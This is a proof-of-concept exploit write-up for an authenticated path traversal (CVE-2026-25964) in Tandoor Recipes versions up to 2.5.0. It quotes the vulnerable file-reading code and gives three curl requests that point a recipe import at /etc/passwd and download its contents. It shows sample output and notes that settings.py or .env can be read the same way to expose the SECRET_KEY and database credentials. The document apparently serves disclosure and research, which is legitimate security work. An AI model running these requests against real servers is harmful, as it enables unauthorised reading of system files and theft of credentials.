
Proof-of-concept exploit for CVE-2026-25964, an authenticated local file disclosure in Tandoor Recipes via path traversal in recipe import, allowing arbitrary file read.
Proof-of-Concept for Authenticated Local File Disclosure via Recipe Import
Disclosure: Originally reported by me via GHSA-6485-jr28-52xx
⚠️ Authorized pentesting/research use only.
| Field | Value |
|---|
| CVE ID | CVE-2026-25964 |
| Severity | 🟡 Medium |
| CVSS Score | 4.9 |
| CVSS Vector | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N] |
| CWE | CWE-22: Path Traversal, CWE-73: External Control of File Name |
| Affected Product | Tandoor Recipes ≤ 2.5.0 |
| Patched Version | 2.5.1 |
| Advisory | GHSA-6485-jr28-52xx |
An improperly authorized Path Traversal vulnerability (CWE-22) in the RecipeImport workflow of Tandoor Recipes allows authenticated users with import permissions to read arbitrary files on the server. This vulnerability stems from a lack of input validation in the file_path parameter and insufficient checks in the Local storage backend, enabling an attacker to bypass storage directory restrictions and access sensitive system files (e.g., /etc/passwd) or application configuration files (e.g., settings.py), potentially leading to full system compromise.
The vulnerability exists due to a failure to validate user-supplied input against the application's intended storage root.
/api/recipe-import/ endpoint allows authenticated users to create a RecipeImport object with an arbitrary file_path and storage backend. No validation is performed to ensure the file_path resides within the configured storage directory.Local.get_file method in cookbook/provider/local.py processes the file retrieval request:
@staticmethod
def get_file(recipe):
# VULNERABILITY: Directly opens the path specified in recipe.file_path
# without verifying it is within the storage root directory.
file = io.BytesIO(open(recipe.file_path, 'rb').read())
return file
/etc/passwd) or relative paths (e.g., ../../app/config.py) to be opened.When a RecipeImport object is converted into a Recipe via the import_recipe action, the malicious path is persisted. A subsequent call to get_recipe_file triggers the vulnerable read operation, returning the file content to the user.
Prerequisites: An authenticated user account with permissions to import recipes. By default, this permission might be restricted, but if granted to lower-privileged roles, the impact increases significantly. Even for administrators, this represents a security boundary violation as application-level permissions should not grant filesystem-level read access.
Step 1: Create a Malicious Import Object
Send a POST request to create a RecipeImport object pointing to the target file (e.g., /etc/passwd).
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "Admin_LFD_Final",
"file_path": "/etc/passwd",
"storage": 1,
"space": 1
}'
(Note: storage: 1 typically corresponds to the default Local Storage. Adjust if necessary.)

Step 2: Convert Import to Recipe
Trigger the import process to create a persistent Recipe object. Note the import_id (e.g., 4) returned from Step 1.
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/<IMPORT_ID>/import_recipe/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-H "Content-Length: 0"
(Replace <IMPORT_ID> with the ID from Step 1 response. This request will return the new recipe_id (e.g., 34)

Step 3: Download the Arbitrary File
Access the file via the recipe file endpoint using the new recipe id returned from Step 2 (e.g., 34).
curl -X GET "http://<TARGET_IP>:8081/api/get_recipe_file/<RECIPE_ID>/" \
-b "sessionid=<SESSION_ID>"
Result: The server returns the contents of /etc/passwd, confirming the LFD vulnerability.
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

/etc/passwd allows enumeration of system users./opt/recipes/recipes/settings.py (confirmed in testing) or .env. This exposes the SECRET_KEY (allowing session forgery) and Database Credentials (allowing direct database access).